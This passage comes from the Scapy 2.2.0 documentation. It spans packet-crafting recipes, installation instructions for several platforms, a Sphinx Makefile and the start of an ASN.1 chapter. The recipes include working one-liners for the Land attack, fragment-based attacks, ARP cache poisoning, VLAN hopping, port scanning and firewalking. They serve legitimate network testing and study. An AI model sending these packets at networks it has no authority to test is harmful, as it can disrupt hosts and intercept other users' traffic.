frag=48)/("X"*116)) >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) Land attack (designed for Microsoft Windows):: >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135)) ARP cache poisoning ------------------- This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack. Classic ARP cache poisoning:: >>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 ) ARP cache poisoning with double 802.1q encapsulation:: >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 ) TCP Port Scanning ----------------- Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:: >>> res,unans = sr( IP(dst="target") /TCP(flags="S", dport=(1,1024)) ) Possible result visualization: open ports :: >>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) ) IKE Scanning ------------ We try to identify VPN concentrators by sending ISAKMP Security Association proposals and receiving the answers:: >>> res,unans = sr( IP(dst="192.168.1.*")/UDP() /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.") /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) ) Visualizing the results in a list:: >>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) ) Advanced traceroute ------------------- TCP SYN traceroute ^^^^^^^^^^^^^^^^^^ :: >>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S")) Results would be:: >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}")) 192.168.1.1 time-exceeded 68.86.90.162 time-exceeded 4.79.43.134 time-exceeded 4.79.43.133 time-exceeded 4.68.18.126 time-exceeded 4.68.123.38 time-exceeded 4.2.2.1 SA UDP traceroute ^^^^^^^^^^^^^^ Tracerouting an UDP application like we do with TCP is not reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP, NTP, etc.) to deserve an answer:: >>> res,unans = sr(IP(dst="target", ttl=(1,20)) /UDP()/DNS(qd=DNSQR(qname="test.com")) We can visualize the results as a list of routers:: >>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src)) DNS traceroute ^^^^^^^^^^^^^^ We can perform a DNS traceroute by specifying a complete packet in ``l4`` parameter of ``traceroute()`` function:: >>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org"))) Begin emission: ..*....******...******.***...****Finished to send 30 packets. *****...***............................... Received 75 packets, got 28 answers, remaining 2 packets 4.2.2.1:udp53 1 192.168.1.1 11 4 68.86.90.162 11 5 4.79.43.134 11 6 4.79.43.133 11 7 4.68.18.62 11 8 4.68.123.6 11 9 4.2.2.1 ... Etherleaking ------------ :: >>> sr1(IP(dst="172.16.1.232")/ICMP()) >> ICMP leaking ------------ This was a Linux 2.0 bug:: >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP()) >>>> VLAN hopping ------------ In very specific conditions, a double 802.1q encapsulation will make a packet jump to another VLAN:: >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP()) Wireless sniffing ----------------- The following command will display information similar to most wireless sniffers:: >>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}")) The above command will produce output similar to the one below:: 00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC 11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy 44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy 12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble Recipes ======= Simplistic ARP Monitor ---------------------- This program uses the ``sniff()`` callback (paramter prn). The store parameter is set to 0 so that the ``sniff()`` function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic. :: #! /usr/bin/env python from scapy.all import * def arp_monitor_callback(pkt): if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") sniff(prn=arp_monitor_callback, filter="arp", store=0) Identifying rogue DHCP servers on your LAN ------------------------------------------- .. index:: single: DHCP Problem ^^^^^^^ You suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentiously or maliciously. Thus you want to check for any active DHCP servers and identify their IP and MAC addresses. Solution ^^^^^^^^ Use Scapy to send a DHCP discover request and analyze the replies:: >>> conf.checkIPaddr = False >>> fam,hw = get_if_raw_hwaddr(conf.iface) >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]) >>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds Begin emission: Finished to send 1 packets. .*...*.. Received 8 packets, got 2 answers, remaining 0 packets In this case we got 2 replies, so there were two active DHCP servers on the test network:: >>> ans.summarize() Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP }}} We are only interested in the MAC and IP addresses of the replies: {{{ >>> for p in ans: print p[1][Ether].src, p[1][IP].src ... 00:de:ad:be:ef:00 192.168.1.1 00:11:11:22:22:33 192.168.1.11 Discussion ^^^^^^^^^^ We specify ``multi=True`` to make Scapy wait for more answer packets after the first response is received. This is also the reason why we can't use the more convenient ``dhcp_request()`` function and have to construct the DCHP packet manually: ``dhcp_request()`` uses ``srp1()`` for sending and receiving and thus would immediately return after the first answer packet. Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don't match, we have to disable Scapy's check with ``conf.checkIPaddr = False`` before sending the stimulus. See also ^^^^^^^^ http://en.wikipedia.org/wiki/Rogue_DHCP Firewalking ----------- TTL decrementation after a filtering operation only not filtered packets generate an ICMP TTL exceeded >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024))) >>> for s,r in ans: if r.haslayer(ICMP) and r.payload.type == 11: print s.dport Find subnets on a multi-NIC firewall only his own NIC’s IP are reachable with this TTL:: >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP()) >>> for i in unans: print i.dst TCP Timestamp Filtering ------------------------ Problem ^^^^^^^ Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners. Solution ^^^^^^^^ To allow Scapy to reach target destination additional options must be used:: >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))])) Viewing packets with Wireshark ------------------------------ .. index:: single: wireshark() Problem ^^^^^^^ You have generated or sniffed some packets with Scapy and want to view them with `Wireshark `_, because of its advanced packet dissection abilities. Solution ^^^^^^^^ That's what the ``wireshark()`` function is for: >>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP() # first generate some packets >>> wireshark(packets) # show them with Wireshark Wireshark will start in the background and show your packets. Discussion ^^^^^^^^^^ The ``wireshark()`` function generates a temporary pcap-file containing your packets, starts Wireshark in the background and makes it read the file on startup. Please remember that Wireshark works with Layer 2 packets (usually called "frames"). So we had to add an ``Ether()`` header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results. You can tell Scapy where to find the Wireshark executable by changing the ``conf.prog.wireshark`` configuration setting. OS Fingerprinting ----------------- ISN ^^^ Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:: >>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S")) Once we obtain a reasonable number of responses we can start analyzing collected data with something like this: >>> temp = 0 >>> for s,r in ans: ... temp = r[TCP].seq - temp ... print str(r[TCP].seq) + "\t+" + str(temp) ... 4278709328 +4275758673 4279655607 +3896934 4280642461 +4276745527 4281648240 +4902713 4282645099 +4277742386 4283643696 +5901310 nmap_fp ^^^^^^^ Nmap fingerprinting (the old "1st generation" one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:: >>> load_module("nmap") If you have Nmap installed you can use it's active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:: >>> conf.nmap_base Then you can use the ``nmap_fp()`` function which implements same probes as in Nmap's OS Detection engine:: >>> nmap_fp("192.168.1.1",oport=443,cport=1) Begin emission: .****..**Finished to send 8 packets. *................................................ Received 58 packets, got 7 answers, remaining 1 packets (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch', 'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86) w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11']) p0f ^^^ If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by:: >>> conf.p0f_base For example to guess OS from a single captured packet: >>> sniff(prn=prnp0f) 192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs) -> 74.125.19.104:www (distance 0) scapy-2.2.0/doc/scapy/installation.rst0000644000175000017500000004222211357725431016071 0ustar pbipbi.. highlight:: sh ************************* Download and Installation ************************* Overview ======== 0. Install *Python 2.5*. 1. Download and install *Scapy*. 2. (For non-Linux platforms): Install *libpcap and libdnet* and their Python wrappers. 3. (Optional): Install *additional software* for special features. 4. Run Scapy with root priviledges. Each of these steps can be done in a different way dependent on your platform and on the version of Scapy you want to use. At the moment, there are two different versions of Scapy: * **Scapy v1.x**. It consists of only one file and works on Python 2.4, so it might be easier to install. Moreover, your OS may already have a specially prepared packages or ports for it. Last version is v1.2.2. * **Scapy v2.x**. The current development version adds several features (e.g. IPv6). It consists of several files packaged in the standard distutils way. Scapy v2 needs Python 2.5. .. note:: In Scapy v2 use ``from scapy.all import *`` instead of ``from scapy import *``. Installing Scapy v2.x ===================== The following steps describe how to install (or update) Scapy itself. Dependent on your platform, some additional libraries might have to be installed to make it actually work. So please also have a look at the platform specific chapters on how to install those requirements. .. note:: The following steps apply to Unix-like operating systems (Linux, BSD, Mac OS X). For Windows, see the special chapter below. Make sure you have Python installed before you go on. Latest release -------------- Download the `latest version `_ to a temporary directory and install it in the standard `distutils `_ way:: $ cd /tmp $ wget scapy.net $ unzip scapy-latest.zip $ cd scapy-2.* $ sudo python setup.py install Alternatively, you can execute the zip file:: $ chmod +x scapy-latest.zip $ sudo ./scapy-latest.zip or:: $ sudo sh scapy-latest.zip or:: $ mv scapy-latest.zip /usr/local/bin/scapy $ sudo scapy .. note:: To make a zip executable, some bytes have been added before the zip header. Most zip programs handle this, but not all. If your zip program complains about the zip file to be corrupted, either change it, or download a non-executable zip at http://hg.secdev.org/scapy/archive/tip.zip Current development version ---------------------------- .. index:: single: Mercurial, repository If you always want the latest version with all new features and bugfixes, use Scapy's Mercurial repository: 1. Install the `Mercurial `_ version control system. For example, on Debian/Ubuntu use:: $ sudo apt-get install mercurial or on OpenBSD:: $ pkg_add mercurial 2. Check out a clone of Scapy's repository:: $ hg clone http://hg.secdev.org/scapy 3. Install Scapy in the standard distutils way:: $ cd scapy $ sudo python setup.py install Then you can always update to the latest version:: $ hg pull $ hg update $ sudo python setup.py install For more information about Mercurial, have a look at the `Mercurial book `_. Installing Scapy v1.2 ===================== As Scapy v1 consists only of one single Python file, installation is easy: Just download the last version and run it with your Python interpreter:: $ wget http://hg.secdev.org/scapy/raw-file/v1.2.0.2/scapy.py $ sudo python scapy.py .. index:: single: scapy-bpf On BSD systems, you can also try the latest version of `Scapy-bpf `_ (`development repository `_). It doesn't need libpcap or libdnet. Optional software for special features ====================================== For some special features you have to install more software. Platform-specific instructions on how to install those packages can be found in the next chapter. Here are the topics involved and some examples that you can use to try if your installation was successful. .. index:: single: plot() * Plotting. ``plot()`` needs `Gnuplot-py `_ which needs `GnuPlot `_ and `NumPy `_. .. code-block:: python >>> p=sniff(count=50) >>> p.plot(lambda x:len(x)) * 2D graphics. ``psdump()`` and ``pdfdump()`` need `PyX `_ which in turn needs a `LaTeX distribution `_. For viewing the PDF and PS files interactively, you also need `Adobe Reader `_ (``acroread``) and `gv `_ (``gv``). .. code-block:: python >>> p=IP()/ICMP() >>> p.pdfdump("test.pdf") * Graphs. ``conversations()`` needs `Grapviz `_ and `ImageMagick `_. .. code-block:: python >>> p=readpcap("myfile.pcap") >>> p.conversations(type="jpg", target="> test.jpg") * 3D graphics. ``trace3D()`` needs `VPython `_. .. code-block:: python >>> a,u=traceroute(["www.python.org", "google.com","slashdot.org"]) >>> a.trace3D() .. index:: single: WEP, unwep() * WEP decryption. ``unwep()`` needs `PyCrypto `_. Example using a `Weplap test file `_: .. code-block:: python >>> enc=rdpcap("weplab-64bit-AA-managed.pcap") >>> enc.show() >>> enc[0] >>> conf.wepkey="AA\x00\x00\x00" >>> dec=Dot11PacketList(enc).toEthernet() >>> dec.show() >>> dec[0] * Fingerprinting. ``nmap_fp()`` needs `Nmap `_. You need an `old version `_ (before v4.23) that still supports first generation fingerprinting. .. code-block:: python >>> load_module("nmap") >>> nmap_fp("192.168.0.1") Begin emission: Finished to send 8 packets. Received 19 packets, got 4 answers, remaining 4 packets (0.88749999999999996, ['Draytek Vigor 2000 ISDN router']) .. index:: single: VOIP * VOIP. ``voip_play()`` needs `SoX `_. Platform-specific instructions ============================== Linux native ------------ Scapy can run natively on Linux, without libdnet and libpcap. * Install `Python 2.5 `_. * Install `tcpdump `_ and make sure it is in the $PATH. (It's only used to compile BPF filters (``-ddd option``)) * Make sure your kernel has Packet sockets selected (``CONFIG_PACKET``) * If your kernel is < 2.6, make sure that Socket filtering is selected ``CONFIG_FILTER``) Debian/Ubuntu ------------- Just use the standard packages:: $ sudo apt-get install tcpdump graphviz imagemagick python-gnuplot python-crypto python-pyx Fedora ------ Here's how to install Scapy on Fedora 9: .. code-block:: text # yum install mercurial python-devel # cd /tmp # hg clone http://hg.secdev.org/scapy # cd scapy # python setup.py install Some optional packages: .. code-block:: text # yum install graphviz python-crypto sox PyX gnuplot numpy # cd /tmp # wget http://heanet.dl.sourceforge.net/sourceforge/gnuplot-py/gnuplot-py-1.8.tar.gz # tar xvfz gnuplot-py-1.8.tar.gz # cd gnuplot-py-1.8 # python setup.py install Mac OS X -------- Here's how to install Scapy on Mac OS 10.4 (Tiger) or 10.5 (Leopard). Set up a development environment ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 1. Install X11. On the Mac OS X DVD, it is located in the "Optional Installs.mpkg" package. 2. Install SDK. On the Mac OS X DVD, it is located in the "Xcode Tools/Packages" directory. 3. Install Python 2.5 from Python.org. Using Apple's Python version will lead to some problems. Get it from http://www.python.org/ftp/python/2.5.2/python-2.5.2-macosx.dmg Install using MacPorts ^^^^^^^^^^^^^^^^^^^^^^ 3. Install MacPorts Download the dmg from macports.org and install it. 4. Update MacPorts:: $ sudo port -d selfupdate 5. Install Scapy:: $ sudo port install scapy You can then update to the latest version as shown in the generic installation above. Install from original sources ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Install libdnet and its Python wrapper:: $ wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz $ tar xfz libdnet-1.12.tgz $ ./configure $ make $ sudo make install $ cd python $ python2.5 setup.py install Install libpcap and its Python wrapper:: $ wget http://dfn.dl.sourceforge.net/sourceforge/pylibpcap/pylibpcap-0.6.2.tar.gz $ tar xfz pylibpcap-0.6.2.tar.gz $ cd pylibpcap-0.6.2 $ python2.5 setup.py install Optionally: Install readline:: $ python `python -c "import pimp; print pimp.__file__"` -i readline OpenBSD ------- Here's how to install Scapy on OpenBSD 4.3. .. code-block:: text # export PKG_PATH=ftp://ftp.openbsd.org/pub/OpenBSD/4.3/packages/i386/ # pkg_add py-libpcap py-libdnet mercurial # ln -sf /usr/local/bin/python2.5 /usr/local/bin/python # cd /tmp # hg clone http://hg.secdev.org/scapy # cd scapy # python setup.py install Optional packages ^^^^^^^^^^^^^^^^^ py-crypto .. code-block:: text # pkg_add py-crypto gnuplot and its Python binding: .. code-block:: text # pkg_add gnuplot py-gnuplot Graphviz (large download, will install several GNOME libraries) .. code-block:: text # pkg_add graphviz ImageMagick (takes long to compile) .. code-block:: text # cd /tmp # ftp ftp://ftp.openbsd.org/pub/OpenBSD/4.3/ports.tar.gz # cd /usr # tar xvfz /tmp/ports.tar.gz # cd /usr/ports/graphics/ImageMagick/ # make install PyX (very large download, will install texlive etc.) .. code-block:: text # pkg_add py-pyx /etc/ethertypes .. code-block:: text # wget http://www.secdev.org/projects/scapy/files/ethertypes -O /etc/ethertypes python-bz2 (for UTscapy) .. code-block:: text # pkg_add python-bz2 .. _windows_installation: Windows ------- .. sectionauthor:: Dirk Loss Scapy is primarily being developed for Unix-like systems and works best on those platforms. But the latest version of Scapy supports Windows out-of-the-box. So you can use nearly all of Scapy's features on your Windows machine as well. .. note:: If you update from Scapy-win v1.2.0.2 to Scapy v2 remember to use ``from scapy.all import *`` instead of ``from scapy import *``. .. image:: graphics/scapy-win-screenshot1.png :scale: 80 :align: center You need the following software packages in order to install Scapy on Windows: * `Python `_: `python-2.5.4.msi `_. `python-2.6.3.msi `_. After installation, add the Python installation directory and its \Scripts subdirectory to your PATH. Depending on your Python version, the defaults would be ``C:\Python25`` and ``C:\Python25\Scripts`` or ``C:\Python26`` and ``C:\Python26\Scripts`` respectively. * `Scapy `_: `latest development version `_ from the `Mercurial repository `_. Unzip the archive, open a command prompt in that directory and run "python setup.py install". * `pywin32 `_: `pywin32-214.win32-py2.5.exe `_ `pywin32-214.win32-py2.6.exe `_ * `WinPcap `_: `WinPcap_4_1_1.exe `_. You might want to choose "[x] Automatically start the WinPcap driver at boot time", so that non-privileged users can sniff, especially under Vista and Windows 7. If you want to use the ethernet vendor database to resolve MAC addresses or use the ``wireshark()`` command, download `Wireshark `_ which already includes WinPcap. * `pypcap `_: `pcap-1.1-scapy-20090720.win32-py25.exe `_ `pcap-1.1-scapy-20090720.win32-py2.6.exe `_. This is a *special version for Scapy*, as the original leads to some timing problems. Now works on Vista and Windows 7, too. Under Vista/Win7 please right-click on the installer and choose "Run as administrator". * `libdnet `_: `dnet-1.12.win32-py2.5.exe `_ `dnet-1.12.win32-py2.6.exe `_. Under Vista/Win7 please right-click on the installer and choose "Run as administrator" * `pyreadline `_: `pyreadline-1.5-win32-setup.exe `_ Just download the files and run the setup program. Choosing the default installation options should be safe. For your convenience direct links are given to the versions I used (for Python 2.5 and Python 2.6). If these links do not work or if you are using a different Python version, just visit the homepage of the respective package and look for a Windows binary. As a last resort, search the web for the filename. After all packages are installed, open a command prompt (cmd.exe) and run Scapy by typing ``scapy``. If you have set the PATH correctly, this will find a little batch file in your ``C:\Python26\Scripts`` directory and instruct the Python interpreter to load Scapy. If really nothing seems to work, consider skipping the Windows version and using Scapy from a Linux Live CD -- either in a virtual machine on your Windows host or by booting from CDROM: An older version of Scapy is already included in grml and BackTrack for example. While using the Live CD you can easily upgrade to the lastest Scapy version by typing ``cd /tmp && wget scapy.net``. Optional packages ^^^^^^^^^^^^^^^^^ Plotting (``plot``) * `GnuPlot `_: `gp420win32.zip `_. Extract the zip file (e.g. to ``c:\gnuplot``) and add the ``gnuplot\bin`` directory to your PATH. * `NumPy `_: `numpy-1.3.0-win32-superpack-python2.5.exe `_ `numpy-1.3.0-win32-superpack-python2.6.exe `_. Gnuplot-py 1.8 needs NumPy. * `Gnuplot-py `_: `gnuplot-py-1.8.zip `_. Extract to temp dir, open command prompt, change to tempdir and type ``python setup.py install``. 2D Graphics (``psdump``, ``pdfdump``) * `PyX `_: `PyX-0.10.tar.gz `_. Extract to temp dir, open command prompt, change to tempdir and type ``python setup.py install`` * `MikTeX `_: `Basic MiKTeX 2.8 Installer `_. PyX needs a LaTeX installation. Choose an installation directory WITHOUT spaces (e.g. ``C:\MikTex2.8`` and add the ``(INSTALLDIR)\miktex\bin`` subdirectory to your PATH. Graphs (conversations) * `Graphviz `_: `graphviz-2.24.exe `_. Add ``(INSTALLDIR)\ATT\Graphviz\bin`` to your PATH. 3D Graphics (trace3d) * `VPython `_: `VPython-Win-Py2.5-3.2.11.exe `_. No binary installer for Python 2.6 seems to be available yet. WEP decryption * `PyCrypto `_: `pycrypto-2.1.0.win32-py2.5.zip `_ `pycrypto-2.1.0.win32-py2.6.zip `_ Fingerprinting * `Nmap `_. `nmap-4.20-setup.exe `_. If you use the default installation directory, Scapy should automatically find the fingerprints file. * Queso: `queso-980922.tar.gz `_. Extract the tar.gz file (e.g. using `7-Zip `_) and put ``queso.conf`` into your Scapy directory Screenshot ^^^^^^^^^^ .. image:: graphics/scapy-win-screenshot2.png :scale: 80 :align: center Known bugs ^^^^^^^^^^ * You may not be able to capture WLAN traffic on Windows. Reasons are explained on the Wireshark wiki and in the WinPcap FAQ. Try switching off promiscuous mode with ``conf.sniff_promisc=False``. * Packets cannot be sent to localhost (or local IP addresses on your own host). * The ``voip_play()`` functions do not work because they output the sound via ``/dev/dsp`` which is not available on Windows. scapy-2.2.0/doc/scapy/index.rst0000644000175000017500000000121211171415660014463 0ustar pbipbi.. Scapy documentation master file, created by sphinx-quickstart on Mon Sep 8 19:37:39 2008. You can adapt this file completely to your liking, but it should at least contain the root `toctree` directive. Welcome to Scapy's documentation! ================================= :Release: |version| :Date: |today| This document is under a `Creative Commons Attribution - Non-Commercial - Share Alike 2.5 `_ license. .. toctree:: :maxdepth: 2 introduction installation usage advanced_usage extending build_dissect troubleshooting development backmatter scapy-2.2.0/doc/scapy/Makefile0000644000175000017500000000434011170743162014267 0ustar pbipbi# Makefile for Sphinx documentation # # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build PAPER = # Internal variables. PAPEROPT_a4 = -D latex_paper_size=a4 PAPEROPT_letter = -D latex_paper_size=letter ALLSPHINXOPTS = -d _build/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . .PHONY: help clean html web pickle htmlhelp latex changes linkcheck help: @echo "Please use \`make ' where is one of" @echo " html to make standalone HTML files" @echo " pickle to make pickle files (usable by e.g. sphinx-web)" @echo " htmlhelp to make HTML files and a HTML help project" @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" @echo " changes to make an overview over all changed/added/deprecated items" @echo " linkcheck to check all external links for integrity" clean: -rm -rf _build/* html: mkdir -p _build/html _build/doctrees $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) _build/html @echo @echo "Build finished. The HTML pages are in _build/html." pickle: mkdir -p _build/pickle _build/doctrees $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) _build/pickle @echo @echo "Build finished; now you can process the pickle files or run" @echo " sphinx-web _build/pickle" @echo "to start the sphinx-web server." web: pickle htmlhelp: mkdir -p _build/htmlhelp _build/doctrees $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) _build/htmlhelp @echo @echo "Build finished; now you can run HTML Help Workshop with the" \ ".hhp project file in _build/htmlhelp." latex: mkdir -p _build/latex _build/doctrees $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) _build/latex @echo @echo "Build finished; the LaTeX files are in _build/latex." @echo "Run \`make all-pdf' or \`make all-ps' in that directory to" \ "run these through (pdf)latex." changes: mkdir -p _build/changes _build/doctrees $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) _build/changes @echo @echo "The overview file is in _build/changes." linkcheck: mkdir -p _build/linkcheck _build/doctrees $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) _build/linkcheck @echo @echo "Link check complete; look for any errors in the above output " \ "or in _build/linkcheck/output.txt." scapy-2.2.0/doc/scapy/advanced_usage.rst0000644000175000017500000011374111172130104016304 0ustar pbipbi************** Advanced usage ************** ASN.1 and SNMP ============== What is ASN.1? -------------- .. note:: This is only my view on ASN.1, explained as simply as possible. For more theoretical or academic views, I'm sure you'll find better on the Internet. ASN.1 is a notation whose goal is to specify formats for data exchange. It is independant of the way data is encoded. Data encoding is specified in Encoding Rules. The most used encoding rules are BER (Basic Encoding Rules) and DER (Distinguished Encoding Rules). Both look the same, but the latter is specified to guarantee uniqueness of encoding. This property is quite interesting when speaking about cryptography, hashes and signatures. ASN.1 provides basic objects: integers, many kinds of strings, floats, booleans, containers, etc. They are grouped in the so called Universal class. A given protocol can provide other objects which will be grouped in the Context class. For example, SNMP defines PDU_GET or PDU_SET objects. There are also the Application and Private classes. Each of theses objects is given a tag that will be used by the encoding rules. Tags from 1 are used for Universal class. 1 is boolean, 2 is integer, 3 is a bit string, 6 is an OID, 48 is for a sequence. Tags from the ``Context`` class begin at 0xa0. When encountering an object tagged by 0xa0, we'll need to know the context to be able to decode it. For example, in SNMP context, 0xa0 is a PDU_GET object, while in X509 context, it is a container for the certificate version. Other objects are created by assembling all those basic brick objects. The composition is done using sequences and arrays (sets) of previously defined or existing objects. The final object (an X509 certificate, a SNMP packet) is a tree whose non-leaf nodes are sequences and sets objects (or derived context objects), and whose leaf nodes are integers, strings, OID, etc. Scapy and ASN.1 --------------- Scapy provides a way to easily encode or decode ASN.1 and also program those encoders/decoders. It is quite more lax than what an ASN.1 parser should be, and it kind of ignores constraints. It won't replace neither an ASN.1 parser nor an ASN.1 compiler. Actually, it has been written to be able to encode and decode broken ASN.1. It can handle corrupted encoded strings and can also create those. ASN.1 engine ^^^^^^^^^^^^ Note: many of the classes definitions presented here use metaclasses. If you don't look precisely at the source code and you only rely on my captures, you may think they sometimes exhibit a kind of magic behaviour. `` Scapy ASN.1 engine provides classes to link objects and their tags. They inherit from the ``ASN1_Class``. The first one is ``ASN1_Class_UNIVERSAL``, which provide tags for most Universal objects. Each new context (``SNMP``, ``X509``) will inherit from it and add its own objects. :: class ASN1_Class_UNIVERSAL(ASN1_Class): name = "UNIVERSAL" # [...] BOOLEAN = 1 INTEGER = 2 BIT_STRING = 3 # [...] class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 class ASN1_Class_X509(ASN1_Class_UNIVERSAL): name="X509" CONT0 = 0xa0 CONT1 = 0xa1 # [...] All ASN.1 objects are represented by simple Python instances that act as nutshells for the raw values. The simple logic is handled by ``ASN1_Object`` whose they inherit from. Hence they are quite simple:: class ASN1_INTEGER(ASN1_Object): tag = ASN1_Class_UNIVERSAL.INTEGER class ASN1_STRING(ASN1_Object): tag = ASN1_Class_UNIVERSAL.STRING class ASN1_BIT_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.BIT_STRING These instances can be assembled to create an ASN.1 tree:: >>> x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING("egg"),ASN1_SEQUENCE([ASN1_BOOLEAN(False)])]) >>> x , , ]]>]]> >>> x.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: Encoding engines ^^^^^^^^^^^^^^^^^ As with the standard, ASN.1 and encoding are independent. We have just seen how to create a compounded ASN.1 object. To encode or decode it, we need to choose an encoding rule. Scapy provides only BER for the moment (actually, it may be DER. DER looks like BER except only minimal encoding is authorised which may well be what I did). I call this an ASN.1 codec. Encoding and decoding are done using class methods provided by the codec. For example the ``BERcodec_INTEGER`` class provides a ``.enc()`` and a ``.dec()`` class methods that can convert between an encoded string and a value of their type. They all inherit from BERcodec_Object which is able to decode objects from any type:: >>> BERcodec_INTEGER.enc(7) '\x02\x01\x07' >>> BERcodec_BIT_STRING.enc("egg") '\x03\x03egg' >>> BERcodec_STRING.enc("egg") '\x04\x03egg' >>> BERcodec_STRING.dec('\x04\x03egg') (, '') >>> BERcodec_STRING.dec('\x03\x03egg') Traceback (most recent call last): File "", line 1, in ? File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2178, in do_dec l,s,t = cls.check_type_check_len(s) File "/usr/bin/scapy", line 2076, in check_type_check_len l,s3 = cls.check_type_get_len(s) File "/usr/bin/scapy", line 2069, in check_type_get_len s2 = cls.check_type(s) File "/usr/bin/scapy", line 2065, in check_type (cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s) BER_BadTag_Decoding_Error: BERcodec_STRING: Got tag [3/0x3] while expecting ### Already decoded ### None ### Remaining ### '\x03\x03egg' >>> BERcodec_Object.dec('\x03\x03egg') (, '') ASN.1 objects are encoded using their ``.enc()`` method. This method must be called with the codec we want to use. All codecs are referenced in the ASN1_Codecs object. ``str()`` can also be used. In this case, the default codec (``conf.ASN1_default_codec``) will be used. :: >>> x.enc(ASN1_Codecs.BER) '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' >>> str(x) '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' >>> xx,remain = BERcodec_Object.dec(_) >>> xx.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: >>> remain '' By default, decoding is done using the ``Universal`` class, which means objects defined in the ``Context`` class will not be decoded. There is a good reason for that: the decoding depends on the context! :: >>> cert=""" ... MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC ... 